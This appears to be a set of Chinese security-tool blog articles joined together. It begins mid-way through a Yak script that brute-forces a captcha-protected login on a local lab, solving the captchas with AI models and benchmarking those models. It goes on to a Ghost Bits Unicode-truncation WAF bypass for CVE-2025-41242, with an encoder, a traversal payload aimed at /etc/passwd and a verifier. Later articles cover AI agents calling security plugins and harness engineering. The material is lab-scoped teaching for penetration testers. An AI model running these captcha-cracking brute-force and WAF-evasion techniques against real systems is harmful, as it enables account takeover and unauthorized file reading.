            poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)),
        )
        if err != nil { return }
        // 2) AI 识别，用 ai.model 指定要测试的模型
        aiStart := time.Now()
        b64 := codec.EncodeBase64(codeRsp.GetBody())
        result, err := ai.FunctionCall(
            `执行数据标注任务，从图片中提取展示内容文本，放置在结果中`,
            {"code": "从图片中提取的验证码类似的内容"},
            ai.imageBase64(b64),
            ai.model(modelName),
            ai.funcCallRetryTimes(1),
        )
        costMs := time.Now().Sub(aiStart).Milliseconds()
        if err != nil {
            mu.Lock(); aiErrCount++; costs = append(costs, costMs); mu.Unlock()
            return
        }
        // 3) 提交：故意用错密码，让服务端走到验证码判定分支
        submitRsp, _, _ := poc.Post(
            target + "/verification/safe/op",
            poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)),
            poc.replacePostParam("code", sprint(result["code"])),
            poc.replacePostParam("password", "0000"),
        )
        mu.Lock()
        costs = append(costs, costMs)
        if str.Contains(string(submitRsp.GetBody()), "verification code not match") {
            captchaFailCount++
        } else {
            successCount++
        }
        mu.Unlock()
    }
}
swg.Wait()

脚本里几个需要说明的点：

• 单次成功率的分母只算 success + captcha_fail。AI 网关偶尔会给出 EOF 之类的错误（下面的结果里出现了 0~13 次），这些属于基础设施抖动，单独计到 ai_error，不进分母。

• 每轮只有两次 HTTP 加一次 AI 调用。session 独立，验证码用后即废，和 Web Fuzzer 真实爆破的工作流一致。

• ai.funcCallRetryTimes(1) 允许底层 JSON 解析失败时快速重试一次，避免模型偶尔返回不规范结构带来的噪声污染数据。

• 目标：vulinbox /verification/safe/*（本地 127.0.0.1:8787）

• 每个模型 300 次独立识别

• 并发度 10

• ai.model("<模型名>") 切换模型，脚本其它部分不变

笔者选了六个 aibalance 网关上公开可用的模型，覆盖四条典型路线：通用 flash、视觉特化、大模型 no-thinking、超大规模。

• memfit-qwen3.5-flash-free

• memfit-qwen3.6-flash-free

• memfit-qwen3-vl-flash-free

• memfit-qwen3-vl-plus-free

• memfit-qwen3.6-plus-no-thinking-free

• memfit-kimi-k2.5-free（本次对比里参数规模最大）

六个模型各 300 次独立识别：

先说最反常识的一条：参数规模最大的 memfit-kimi-k2.5-free 综合排在最后。

• 单次成功率垫底 35.02%，比 qwen3.5-flash 低 22 个百分点

• 单次耗时 10549 ms，是 flash 系列的 7~10 倍

• 300 次并发 10 跑完要 5 分 20 秒

笔者的理解：Kimi k2.5 定位偏长上下文推理，视觉编码更多用在语义密集的图文理解上。面对四个扭曲字符的短 OCR，它会"过度推理"——先判断字体风格、再试图理解语义、最后才产出字符，每一步都在烧 token。

flash 系列走的是另外一条路：短输出延迟优化。"图进字出"的场景正好落在它的甜区里。

其它几条规律：

1.三个 57% 梯队的模型（qwen3.5-flash 57.49% / qwen3.6-plus-no-thinking 57.53% / qwen3.6-flash 56.90%）差距完全在统计噪声里——300 样本的标准差约 ±2.8 pp，三者在同一水平线。

2.memfit-qwen3.6-flash-free 综合最优：耗时 1226 ms，成功率和头部平齐，AI 错误只有 3 次。成功率、耗时、稳定性三项同时到一线的只有它一个。

3.memfit-qwen3.6-plus-no-thinking-free单次成功率 57.53% 略高，但 1697 ms 的耗时比 flash 重一半。

4.VL 系列（专门对齐视觉的变体）在这道题上反而落后，qwen3-vl-flash 只有 48.33%，qwen3-vl-plus 54.79%、P95 到 3435 ms。"专门 vision" 在这种短字符 OCR 上没体现出优势，模型更大只是把延迟拉了起来。

memfit-*-free 都是 aibalance 网关上的免费别名。直接沿用热加载代码的读者不会产生任何费用。

接官方 API 或要在生产环境大规模跑，就得把"每识别成功一次花多少钱"算清楚。这个指标比单次成功率更接近工程决策。

以下按"单次 ≈ 500 input tokens（含图片 vision tokens + prompt）+ 50 output tokens（JSON 结果体）"保守估算。价格取 2026-04 的公开定价，USD / 百万 tokens。

价格来源：pricepertoken / aimodelapis / llmgateway / cloudprice 上公开的 Alibaba DashScope、Moonshot AI 官方定价。官方会不定期调整，以实际账单为准。

三个观察：

1.flash 系列性价比最好。qwen3.5-flash 和 qwen3.6-flash 跑 1000 次成功识别约 ¥0.57~¥0.58，一毛钱都没到。

2.kimi-k2.5 跑 1000 次要 ¥5.71，是 flash 系列的 10 倍。倍数的来源：单价贵 6 倍（$0.383 vs $0.065 输入），单次成功率只有 flash 的一半（35.02% vs 57.49%），两者相乘就是 10 倍。再叠上每次 10 秒的延迟，工程上不值。

3.VL-Plus 和 Plus-no-thinking 夹在中间。VL-Plus 单价是 flash 的 3~6 倍，耗时更长，1000 次 ¥2.37；Plus-no-thinking 单次成功率只比 flash 高 0.04 pp，但单价贵 6 倍，1000 次 ¥3.25。花 6 倍的钱换统计噪声里的 0.04 pp，工程上不划算。

性价比排序：

flash 系列 ≫ VL-Plus ≈ Plus-no-thinking ≫ VL-Flash ≫ Kimi K2.5

单次成功率看起来都不算高（最高 57.53%，最低 35.02%）。但回到前面那个公式：

把六个 P代入，得到 1~6 次累积成功率：

几个观察：

• 只要单次成功率到 55% 以上，6 次重试就稳定在 99%+。1000 个密码最多 6~10 个会因连续失败漏掉，这个比例在爆破场景完全可以接受。

• Kimi k2.5 6 次累积只有 92.47%，想摸到 99% 要重试 8 次以上。叠上每次 10 秒的延迟，一个验证码平均要花 63 秒，吞吐量基本不可接受。六个模型里唯一"重试也救不回来"的。

• 3.5-flash 和 3.6-plus-no-thinking 6 次后都能到 99.41%，重试友好型并列第一。

七、结论与选择建议

综合单次成功率、耗时、稳定性、价格四个维度：

• 整体最推荐：memfit-qwen3.6-flash-free。单次 56.90%、平均 1226 ms、P95 1970 ms，6 次重试 99.36%，1000 次成功 ¥0.58。四项指标同时到一线的只有它一个。

• 成本最敏感：memfit-qwen3.5-flash-free。表现和 3.6-flash 等价（57.49%、1364 ms），1000 次 ¥0.57。

• 单次精度优先、对成本不敏感：memfit-qwen3.6-plus-no-thinking-free。57.53% 只比 flash 高 0.04 pp，1000 次 ¥3.25，6 倍价差买回来的差距在统计噪声里。场景明确要求"一次就打准"才值得。

• 最快出结果、命中率无所谓：memfit-qwen3-vl-flash-free。平均 1178 ms，墙钟最短，48.33% 的单次成功率靠多次重试兜底，1000 次 ¥0.67。

• 不推荐：memfit-qwen3-vl-plus-free。准确率中等 54.79%，延迟最高 P95 3435 ms，1000 次 ¥2.37。三个维度同时落后。

• 不要用在验证码识别：memfit-kimi-k2.5-free。35% 单次成功率、10 秒耗时、1000 次 ¥5.71（flash 的 10 倍）。窄域 OCR 这种场景里，大模型的通用推理能力反倒成了拖累。

热加载代码里我们一直写的是 ai.model("memfit-vision-free")——aibalance 网关上暴露的默认验证码识别模型。这里说一句实现细节：

memfit-vision-free 在服务端为了平衡使用效果和成本，底层复用了 qwen3.5-flash。

也就是说，直接沿用前面热加载代码、不显式切换模型，得到的就是上面表里 memfit-qwen3.5-flash-free 那一行的表现：单次 57.49%、平均 1364 ms、6 次重试累积 99.41%。默认值挺稳，绝大多数场景不用手动换。

目标验证码明显更难、或想把延迟压到更低的读者，回到上面五条建议里挑一条切换即可。Benchmark 脚本可以原样复用，--model 换掉就行。

跑完这轮 Benchmark 笔者的体会：在"图进、四字符出"这种窄域任务上，选专门优化短输出延迟的 flash 系列小模型就够用。模型越大越好的直觉在这里不成立，硬上 kimi k2.5，准确率、耗时、账单三项会同时变差一个数量级。

前面设计的 beforeRequest + retryHandler 两钩子闭环，在 flash 系列任意一个模型下都能稳定兜住 99% 的有效识别率。模型选择只影响爆破速度和预算。

在本文中，我们以验证码保护的登录表单为案例，走过了一条完整的渗透测试思路链：

1.发现逻辑漏洞。通过实战测试，我们发现了靶场验证码的一个逻辑漏洞——验证码使用后未被删除，可以无限复用。这种漏洞在真实场景中并不少见，AI 只需识别一次就足以完成全部爆破。

2.面对安全实现。当验证码被正确实现（每次提交后立即作废）时，我们编写了基础版（串行）和进阶版（并发）两个爆破脚本。串行版逻辑清晰，适合理解流程；并发版利用 sync.NewSizedWaitGroup 多 worker 并行，大幅提升效率。

3.Web Fuzzer 热加载方案。把验证码识别逻辑封装到 beforeRequest 中，配合 Yakit GUI 直接使用，适合需要灵活调整参数的场景。

4.Benchmark 验证。用数据证明了 AI 识别验证码的可靠性，给这个方案提供了信心基础。

整个方案的核心就是 ai.FunctionCall 这一个函数调用。不用部署 Python 环境，不用买接码服务，Yakit 中配好 AI 网关就可以直接用。

当然，验证码只是 AI 在渗透测试中的一个切入点。ai.FunctionCall 能做的事情还有很多——比如从 JavaScript 代码中提取 API 路径、从页面内容中识别敏感信息、从错误响应中提取数据库类型。凡是需要"从一段内容里按格式提取信息"的场景，都可以用类似的思路来处理。

工欲善其事，必先利其器。笔者相信，在跟着本文完成了验证码识别这个流程之后，大家对 Yaklang AI 模块的使用一定已经更加得心应手了。

END 

跳转微信打开

原理复盘 + 靶场复现 + 插件实战，极简完成幽灵位漏洞渗透测试

除了编码，批量探测靶点是否受 Ghost Bits 影响也是个重复活动。针对这个场景我们还写了一个 Yak Fuzz插件，内置了 CVE-2025-41242、Jackson、fastjson 等常见场景的 preset，跑一遍就能快速判断目标是否存在截断风险。

本文在梳理核心原理的基础上，分别介绍这两个插件的设计思路和使用方式：Codec 负责"一键编码"，Fuzz 负责"批量探测"。希望能帮师傅们在检测这类漏洞时少做一些重复劳动、提高效率。

如果你也厌倦了手动复制粘贴 Unicode 字符，或者想快速批量验证一批目标是否受 Ghost Bits 影响，这篇文章适合你。这些插件目前你可以在Yakit插件商城下载。

前这些插件你可以在在线商店下载：

一、Ghost Bits 漏洞原理

Ghost Bits（幽灵位）是一种利用 Java 字符截断特性的 WAF 绕过技术。其核心原理在于：Java 在处理 Unicode 字符时，某些方法会静默丢弃高 8 位，只保留低 8 位。

例如，String.getBytes()、ByteArrayOutputStream.write(ch)、DataOutputStream.writeBytes()等方法，本质上都执行了如下操作：

截断结果 = unicodeChar & 0xFF

这意味着，只要构造一个 Unicode 字符，使其低 8 位等于目标 ASCII 值，就能在服务端"伪装"成该 ASCII 字符：

阮 = U+962E → 0x962E & 0xFF = 0x2E = .
严 = U+4E25 → 0x4E25 & 0xFF = 0x25 = %
灵 = U+7075 → 0x7075 & 0xFF = 0x75 = u

攻击者利用这一点，将 WAF 能识别的敏感字符串（如 ../、union select）编码成"无害"的中文 Unicode，从而绕过检测。

在 Spring Framework CVE-2025-41242 中，攻击链如下：

1. WAF 放行：WAF 看到 `阮严灵丰丰甲来` 等 Unicode 字符，没有敏感关键词，直接放行

2. Spring 防御层：`ResourceHttpRequestHandler#getResource` 调用 `isInvalidPath(path)` 检查字面量 `../`，路径中没有 `../`，判定安全

3. 截断发生：`StringUtils.uriDecode()` 内部的 `baos.write(ch)` 丢弃高 8 位，`阮`(U+962E) → `.`(0x2E)

4. 路径折叠：Jetty/Servlet 容器将 `%u002e` 解码为 `.`，最终 `.%u002e` → `..`，形成目录穿越

整个流程里，真正值得插件化的是编码和验证这两个环节。发现截断点虽然也可以写 Fuzzer 辅助批量探测，但更多依赖对目标架构的理解；构造 payload 和发送测试本身不复杂。真正消耗时间的是把每个 ASCII 字符逐个查表转换成 Unicode 替换体，以及编码完成后验证截断结果是否还原成了原始 ASCII——这两个步骤重复性高、容易出错，最适合交给工具处理。我们的 Codec 插件解决"一键编码"的问题，Fuzzer 插件解决"批量探测截断点"的问题，验证脚本则用来确保编码结果正确。

三、Ghost Bits编码插件

基于上述痛点，我们编写了一个 Yak Codec 插件，将 Ghost Bits 编码过程完全自动化。

// 保留空白和斜杠，其余 ASCII 全部编码
shouldEncode = func(asciiCode) {
    if asciiCode < 0 || asciiCode > 127 { return false }
    if asciiCode in [9, 10, 13, 32] { return false }  // 空白
    if asciiCode == 47 { return false }                 // /
    return true
}
// 从中文优先池随机选 highByte
pickGhostChar = func(asciiCode, fixedHighByte) {
    selectedHighByte = fixedHighByte
    if selectedHighByte <= 0 || selectedHighByte > 255 {
        selectedHighByte = chinesePreferredHighBytes[randn(0, len(candidatePool))]
    }
    return chr(selectedHighByte*256 + asciiCode)
}

以 vulhub 的 spring/CVE-2025-41242 靶场为例，演示 Codec 插件的实际用法。

靶场环境

docker-compose 启动后，目标地址：http://127.0.0.1:8080

漏洞点：Spring 的 StringUtils.uriDecode() 在特定路径下会丢弃 Unicode 高 8 位

构造 Payload

这个漏洞的利用需要把路径中的 ASCII 字符替换成 Ghost Bits 编码的 Unicode。比如目标 payload 是 .%u002e（经过 Spring 内部解码后变成 .. 实现目录穿越）。在 WebFuzzer 中选中 .%u002e，右键执行 GhostBits Payload Codec，插件直接输出对应的 Unicode 替换结果：

输入：  .%u002e
输出： 蔮蔥蕵蔰锰進蕥

此处payload不是“阮严灵丰丰甲来”，原因是 Ghost Bits 的编码本身就不唯一。只要满足"截断后低 8 位等于目标 ASCII"这个条件，任何一个 Unicode 字符都可以作为替换体。

验证结果

发送后观察响应。如果截断生效，服务端会将 Unicode 高 8 位丢弃，实际处理的路径变成 ../../etc/passwd，从而读取到系统文件内容。响应中若出现 root:x:0:0: 等 /etc/passwd 特征，即可确认漏洞存在。

输入目标 URL → 选择场景 → 一键发送 → 自动分析响应

Fuzzer 会自动检测响应中是否包含 WAF 拦截关键词、异常状态码、或成
功读取的文件内容，并在 Yakit 数据库中记录风险发现。

五、Ghost Bits编码字符串验证脚本

编码后的 payload 必须验证每个 Unicode 字符能否正确截断回原始 ASCII。我们编写了一个独立的 Yak 验证脚本：

// verify_ghostbits.yak
// 验证 Ghost Bits 编码结果：每个 Unicode 字符截断后是否等于原始 ASCII
truncateVerify = func(encoded, original) {
    ok = true
    encRunes = []
    for _, r = range encoded { encRunes = append(encRunes, r) }
    origBytes = []byte(original)


    for i = 0; i < len(origBytes) && i < len(encRunes); i++ {
        truncated = ord(encRunes[i]) & 0xFF
        if truncated != int(origBytes[i]) {
            println("FAIL at", i, "orig=", origBytes[i], "truncated=", truncated)
            ok = false
        }
    }
    return ok
}
// 测试示例
encoded = "阮严灵丰丰甲来"
original = ".%u002e"
if truncateVerify(encoded, original) {
    println("验证通过：所有字符截断后还原正确")
}

该脚本的核心逻辑就是模拟服务端的截断行为：ord(unicodeChar) & 0xFF == ord(originalChar)。

六、总结

Ghost Bits 漏洞的本质是编码层与解析层的语义差异：WAF 在编码层看到无害的 Unicode，服务端在解析层截断还原成恶意的 ASCII。

本文分享的 Codec、Fuzzer 和验证脚本三个工具，希望能帮师傅们在检测这类漏洞时少做一些重复劳动、提高测试效率。Codec 插件把 Ghost Bits 编码压缩成"选中 → 右键 → 输出"的三步操作；截断验证脚本则自动确认编码结果的正确性，避免人眼比对出错。

需要说明的是，Fuzzer 插件中内置的场景（CVE-2025-41242、Jackson、fastjson 等）并不通用——它们借鉴了 AsiaCCS 2026 相关议题和论文中对 Ghost Bits 利用路径的分析，但每个目标的业务场景、框架版本、WAF 规则都不相同。师傅们可以参考其中的 payload 构造思路和场景分类方法，根据自己的实际目标修改测试脚本，而不是直接照搬运行。

END 

跳转微信打开

无需适配，一键开放，AI自主调用所有安全插件

过去如果想拓展 AI 的安全能力，通常有两种思路：

要么单独开发新的 AI 工具，要么通过 MCP、Skill、Forge 等机制把能力一点点挂接进去。

这种方式当然有效，但在工程上有几个比较明显的约束：

• 生态复用差：已经沉淀在插件商店里的安全能力，不能天然被 AI 直接消费；

• 维护复杂度上升：随着工具、Skill、模板越来越多，能力边界会逐渐碎片化，编排逻辑也会越来越重。

而 Yakit 插件商店本身已经积累了大量成熟的安全插件。如果 AI 不能直接消费这些现成能力，那么大量安全能力其实仍然停留在“人能点、AI 不能用”的阶段。

因此，这次更新的核心并不是“又新增了几个 AI 工具”，而是让插件商店正式进入 AI Agent 的能力编排链路。

这次插件联动能力的关键，不是把插件简单暴露给 AI，而是把插件、AI Tool、Blueprint、Skill、Focus Mode 统一抽象成了一个更高层的Capability（能力）集合。

这意味着 AI 在执行任务时，不再是死板地绑定某个固定工具，而是会经历一条更完整的能力编排链路：

1.识别用户真实意图；

2.根据意图检索候选能力；

3.在候选能力中识别最相关的插件、工具、蓝图或 Skill；

4.按能力类型选择合适的加载与执行路径；

5.根据结果进行验证、补充上下文，并决定下一步动作。

从架构视角看，这相当于把插件商店从“可供人工点击执行的资产库”，升级成了 AI Agent 的动态能力总线（Dynamic Capability Bus）。

要让一个插件进入这条链路，并不需要额外写一套复杂的 AI 适配代码。只需要在插件编辑页面打开“开放给 AI 使用”开关，并补充插件描述即可。

这个动作背后的意义其实很大：

它不是在做一个简单的可见性开关，而是在为插件补一层 面向 Agent 的语义元数据（Semantic Metadata）。

这些元数据至少承担了三类职责：

1.能力声明：告诉 AI 这个插件是什么、适合解决什么问题；

2.语义召回：为后续的能力检索提供描述词、关键词和任务场景；

3.执行提示：帮助 Agent 判断这个能力应该在什么阶段被调用。

也就是说，插件一旦“开放给 AI”，它就不再只是脚本仓库中的一段代码，而是被提升成一个可以被 Agent 检索、理解和调用的能力节点。

如果只说“AI 可以自动调用插件”，听起来很像一个普通的函数绑定。但实际上，这套机制更像是一条带有多层决策的智能编排链路。

1）分层意图路由：不是所有请求都走同一条路径

系统并不会对每个请求都直接做深度推理，而是先做一次轻量级的输入规模判断与意图预分类。

对于短促、明确、目标清晰的请求，系统会优先进入快速通道：

• 用规则识别简单问候、状态查询等 trivial query；

• 用关键词与 BM25 做轻量能力召回；

• 如果已经能命中明确能力，就直接进入后续执行阶段。

而对于“我想做渗透测试”“帮我测一下这个站”“看看有没有弱口令”这类复合任务，系统则会升级到深度意图识别（Deep Intent Recognition） 流程。

在这个阶段，AI 不再只是在原句上做关键词匹配，而是会先把用户输入压缩成一组更稳定的中间语义结构，例如：

• intent summary

• retrieval tags

• retrieval questions

• recommended capabilities

这一步的价值在于：

用户说的是自然语言，但系统需要的是可以驱动能力检索和执行的任务语义表示。这实际上是一种典型的Hierarchical Intent Routing：先做低成本预路由，再决定是否进入更重的深层分析。

2）渐进式披露：AI 看到的不是整个插件商店，而是被逐层收敛后的能力集合

这套机制很重要的一点，是它没有把所有插件一次性完整暴露给模型。如果把整个平台所有插件和所有参数都直接塞进上下文，结果通常不会更智能，只会更混乱。因此这里采用了一种更适合 Agent 的策略：渐进式披露（Progressive Disclosure）。

能力并不是一次性全部展开，而是按阶段逐层暴露：

• 先暴露元数据：只让模型看到能力名称、描述、关键词、用途；

• 再暴露候选集：根据用户任务，筛出最相关的一小批能力；

• 再做标识符校验：确认推荐的能力是真实存在且可执行的；

• 最后才执行：按能力类型进入 Tool / Plugin / Blueprint / Skill 的对应通道。

这个设计的本质，是在控制上下文噪声，并提升 Agent 的决策密度。它让模型每一轮只面对“当前最相关的能力切片”，而不是一整张能力大表。

从系统设计角度看，这是一种非常典型的Capability Surface Minimization 思路：

在保留能力广度的同时，压缩每轮暴露给模型的能力表面积。

3）能力目录 Grounding：先约束，再推荐，降低幻觉式调用

只靠大模型做语义联想，最大的问题是它可能会“想出一个合理但不存在的能力名”。在安全场景里，这种问题尤其不能接受。

所以这套机制在能力检索之前，还做了一层 Capability Catalog Grounding：

• 系统会先构建真实存在的能力目录；

• 目录里包含 Tool、Plugin、Blueprint、Skill、Focus Mode 等标识符；

• AI 只能在这份目录中做匹配和推荐；

• 推荐完之后，还要经过一次 identifier verification，确保名字能在运行时真正解析成功。

这一步非常关键。

它把“AI 的推荐权”限制在了“真实存在的能力集合”内部，从而显著降低了 hallucination 带来的误调度风险。

所以准确地说，AI 在这里不是“自由发明能力”，而是在一张受约束的能力图谱中做语义导航。

4）统一能力调度：插件不是特例，而是能力调度器中的一种

当候选能力被筛出来之后，系统并不会针对插件单独写一套特殊逻辑，而是进入统一的能力调度流程。

这一步可以理解为 Unified Capability Dispatch。

同一个能力标识符，在运行时可能被解析成不同类型：

• tool

• plugin

• blueprint / forge

• skill

• focus mode

不同能力类型会走不同执行路径：

• Tool / Plugin 更适合直接调用；

• Blueprint / Forge 更适合承担多步骤编排和异步执行；

• Skill 更像方法论与上下文加载；

• Focus Mode 更像进入特定任务模式。

这意味着插件联动并不是孤立功能，而是被纳入了统一能力模型。插件商店从此不再只是“插件仓库”，而是 Agent 执行系统中的一等能力源。

5）意图感知不是一次性的，而是贯穿执行过程

传统自动化执行往往是：识别一次任务，然后一路跑完。但真实的安全任务不是线性的，尤其在扫描、验证、判断和回显分析之间，任务目标会不断收敛。因此这套机制里还有一层很值得一提的能力：运行时意图感知（Runtime Intent Perception）。

系统会在执行关键动作后、验证后、甚至在出现重复尝试或策略打转时，重新感知当前状态，生成一份简短的过程画像，例如：

• 当前在做什么；

• 当前主题是什么；

• 目前命中的关键词是什么；

• 情况是否发生了实质变化；

• 下一步应该继续扩展还是收敛。

这让 Agent 拥有了一种更接近“持续思考”的运行时感知能力，而不是只在任务开头聪明一次。

如果说前面的意图识别解决的是“起点问题”，那么这一层运行时感知解决的其实是“执行过程中是否偏航”的问题。在技术术语上，这更接近一种 Runtime Situational Awareness。

仅仅开放给 AI 还不够，系统还要让插件“能被搜到”，而且是以更接近用户自然语言的方式被搜到。

所以在能力检索上，系统并不是简单做字符串精确匹配，而是综合了几种信号：

• 插件名称命中

• 描述命中

• 关键词命中

• 任务语义命中

• 显式能力名提及

从工程角度看，这使得能力召回同时具备：

• 可解释性：因为每次命中都能追溯到插件名、描述或关键词；

• 鲁棒性：即使用户表达方式和插件名不完全一致，也能基于语义靠近；

• 可控性：命中结果最终还要经过真实标识符校验。

因此，用户不需要记住插件名。

用户只要描述“我想检测 Fastjson”“帮我看看有没有弱口令”“分析一下这个系统可能的漏洞面”，系统就会尽量把这些自然语言映射到正确的能力集合上。

以 Fastjson 漏洞检测为例，这条链路大致会这样运作：

1.AI 从任务中抽取目标 URL；

2.识别当前任务属于漏洞验证 / Java 反序列化 / RCE 检测场景；

3.在能力集合中召回与 Fastjson 相关的插件；

4.将候选插件收敛为可执行能力；

5.调用对应插件发起检测；

6.基于响应与延迟特征做结果判断；

7.把验证结果写回上下文，作为后续决策依据。

这说明 AI 开始拥有的是任务级能力闭环，而不是一次性工具调用。

再看弱口令检测这个例子，会更容易理解 Skill 在其中的作用。

弱口令检测 Skill 本身并不一定直接执行扫描，它更像是给 AI 提供了一个特定任务框架：

• 先识别目标系统类型；

• 再判断当前更适合哪类认证面检测；

• 最后调用对应插件执行验证。

比如当目标特征更像 WebLogic 时，AI 就会把能力收敛到 WebLogic 弱口令检测插件，而不是泛化地随便跑一堆无关插件。

这说明 Skill 在这个体系里并不是简单的提示词包装，而更像是一层 任务约束与方法论注入层：

• 它给 AI 提供领域上下文；

• 它约束 AI 的动作边界；

• 它降低错误能力召回的概率；

• 它让插件调用更贴近具体任务场景。

如果说插件负责“执行”，

那么 Skill 更像负责“方法论”，

而 Agent 则负责“把方法论和执行能力串起来”。

这次插件联动真正带来的变化，是 AI 从“知识型能力”走向了“操作型能力”。

过去：

• AI 可以解释漏洞；

• AI 可以给思路；

• AI 可以生成检测建议；

• 但真正执行还是要人去点插件、选参数、看结果。

现在：

• AI 能根据意图主动发现插件；

• 能结合 Skill 和 Blueprint 理解任务上下文；

• 能把插件作为执行单元纳入任务流程；

• 能在执行后做结果判断，并决定下一步动作。

这意味着 Agent 的能力边界不再主要由模型本身决定，而是越来越多地由 可被编排的能力生态决定。

换句话说：

模型负责理解和决策，插件生态负责执行和扩展。

两者结合，才是真正可落地的安全自动化。

这次“插件商店联动”的意义，不只是让 AI 多了一个调用插件的入口，而是把插件商店正式接入了 Agent 的能力闭环：

• 意图识别

• 能力召回

• 目录 Grounding

• 标识符校验

• 统一调度

• 执行验证

• 上下文回灌

从这个视角看，插件商店不再是一个静态资产库，而是 AI Agent 的外部能力池；

Skill 不再只是提示词，而是任务方法论；

Blueprint 不再只是模板，而是复杂任务编排器。

最终形成的，其实是一套面向安全场景的 Capability-Oriented AI Orchestration。

这也意味着，大家可以在现有 AI Agent 能力基础上，进一步发挥更多创意：

• 自动化资产巡检

• 批量漏洞扫描

• 多目标弱口令验证

• 合规性检查

• 攻防演练中的任务编排

• 结合 Skill 的行业化安全工作流

真正有想象力的地方，不在于“AI 能不能再多调一个插件”，

而在于：插件生态终于变成了 AI 可理解、可召回、可执行、可验证的能力生态。

插件联动带来的不是简单的“工具接入”，而是让 AI 从静态知识助手，进一步演化为具备意图识别、能力发现、执行编排与结果验证能力的安全 Agent。

当插件商店成为 AI 的能力底座之后，安全自动化的上限，不再只取决于模型本身，而取决于整个插件生态能否被持续组织、持续复用、持续放大。

END 

跳转微信打开

普通人实践Harness，只需要做好这一件事

2026年，大模型能力被普遍认为进入了高原期：单纯依靠算力堆积的暴力美学，其边际收益已经大幅降低，同时高质量的人类训练语料也趋近枯竭。面对这一瓶颈，业界的焦点开始发生转移：大家普遍认为，单纯比拼模型的时代正在远去，比拼Harness Engineering（驾驭工程）的时代已经到来。这就好比制造汽车时，将其发动机的马力已经压榨到物理极限了，再想提升整辆车的性能，就不能只盯着发动机，而要把目光投向传动系统、方向盘等驾驭发动机的系统上。

正是在这一背景下，Harness Engineering这个词开始频繁刷屏各大媒体，被包装成又一项了不起的前沿AI技术。然而，这种宏大的叙事却让人感到十分割裂：对于绝大多数不开发底层Agent的普通开发者而言，##Harness听起来更像是一个与己无关的伪概念。它除了徒增技术快速迭代带来的焦虑感，似乎并没有对日常的开发工作产生实质性影响。

如今的AI产业，正呈现出一种大厂主导前行、普通人带着焦虑被动跟随的局面。事实上，普通开发者每天赖以生存的 Claude Code、Codex 、Cursor 等优秀AI编程工具，正是Harness Engineering的最佳实践产物。 然而，在使用这些工具时，我们往往陷入了一种疲惫的循环：开发过程中每天花大量时间在聊天窗口里给AI提需求，看着AI一行行地写出新功能，然后自己再手动切回系统去查看和验收。在这种“AI写代码，人打下手”的模式中，我有时候不禁感慨：我应该为高效完成工作高兴，还是为这种低价值劳动奔波难过。

哭笑不得以后，我脑海里就有这么个疑问：同样是置身于Harness Engineering浪潮中，为什么行业大厂认为这是大模型能提供生产力的核心，而我们普通开发者，明明每天都在享受其最佳实践、生产效率大幅度提升，自我价值却在一轮轮AI对话中不断降低？

我认为要回答这个问题，我们或许可以回到OpenAI最早发布关于Harness Engineering原文中，探究##Harness最开始出现要解决什么问题。原文中，有大量篇幅讲解其工程实践细节：设计环境、反馈回路和控制系统，但是是我认为其最核心的，也是文章作者开头就点出的一点：为了解决人类的时间与精力是稀缺的问题。

原文中谈到，OpenAI 内部有个百万级项目需要让##AI参与开发，并在几周内进行交付。按照传统AI协作开发模式，Agent产生PR，而人则作为质量的把关者，将会面临一个极大的问题：AI产生代码的速度远远快于人们验证代码的速度。人这一环成为开发流程的瓶颈。而更要命的是，如果AI实现的某项功能不符合要求，你就不得不对其进行对话、等待其修复、再次验证其实现效果。如果AI不能一次就修复好这个问题，人就不得不陷入这种循环中，并在这种循环中把精力消耗得筋疲力尽。这种开发流程就像一个大漏斗，而人类这一环却成了最窄的那个口。为了解决这个最窄的口，OpenAI不断优化大模型的执行环境，并把这个过程叫做Harness Engineering。

所以不难发现，Harness思维解决的核心痛点，不仅是AI持续工作的稳定性，更是人在AI时代的“注意力稀缺”。回顾编程的演进路径，你会发现人类焦点的变迁。在前AI时代，人类将100%的注意力完全倾注在写代码和实现功能上。而到AI辅助写代码时代（IDE插件)，AI成为代码补全的工具，但人类的注意力依然被绑死在具体的实现步骤上。如今进入了Agent自主编程时代，模型具备了自主执行能力。此时，如果人类依然保持旧习惯，就会陷入极其消耗注意力的死循环：AI在聊天窗口执行任务，人手动切到系统里点击、编译、测试验收。

要打破这种极度消耗注意力的死循环，就必须保证AI自主可靠的运行，并减少人这一环的参与。而为AI构建高度可观测、可自动验证的执行环境，仅仅是具体的工程步骤。笔者认为Harness更本质的是提醒我们应该“反思并管理注意力”。具体的改造手段并不重要，重要的是你必须在自己的日常开发中，敏锐地识别出：到底是什么“阻塞点”在无情地占据和消耗你最多的注意力时间？一旦找到了这个阻塞点，你就要主动出击，为它立下规矩、建好环境，把这部分验证工作甩给AI。这，才是属于每一个普通开发者的Harness。

对于如何“主动管理注意力”，我在近期推进IRify规模化时有着切身体会。在这个项目中，我经历了一次从“越用AI越累”到“为其建立Harness工作流”的真实转变。

这几个月，我的任务是将IRify从客户端代码扫描升级为分布式扫描。这不仅涉及复杂的并发方案和状态流转，还包含大量SaaS系统业务功能的脏活累活(Dirty Work)。为了抢进度，我开了多个AI Agent终端并行开发。AI写代码确实快，但麻烦也随之而来：代码冲突频发；而且作为带有前端交互的SaaS系统，很难单纯靠单元测试保障功能可用。结果就是，AI每吐一个功能，我就得手动启动页面、登录、点击、查错。缺乏规矩的AI跑得越快，我作为人肉测试员的注意力就被消耗得越严重。

为了改变这种被动局面，我开始尝试为AI构建Harness执行环境。首先，我给AI全局提示词加了约束：强制它使用独立的 worktree 进行开发，从物理上隔离代码冲突；其次，要求AI每次实现一个功能以后必须有测试落地，对于比较难测的功能点可以编写E2E测试脚本，甚至进行日志插桩进行测试；最后，为了方便前端功能的验收，我让他加了个Chrome DevTool，以便完成任务后可以进行前端功能截图。

如果你读过OpenAI的原文，或许会发现这些举措极为眼熟。没错，我其实就是把Harness的原文直接喂给了AI，让它参照这套最佳实践来进行自我改造。回顾这个过程我发现，普通人实践Harness并没有多么高深，它的本质就是“有意识地让AI的运行环境变得更好、阻力更小”。我所做的，只不过是主动把业界的最佳实践投喂给它，顺水推舟地让AI自己去蹚平道路，改造出它专属的执行环境而已。这一番改造后，我终于可以一次性下发大量任务：AI写完代码会自动验证，发现错误就回炉重造，而我只需安稳地留在“最终验收”的环节。

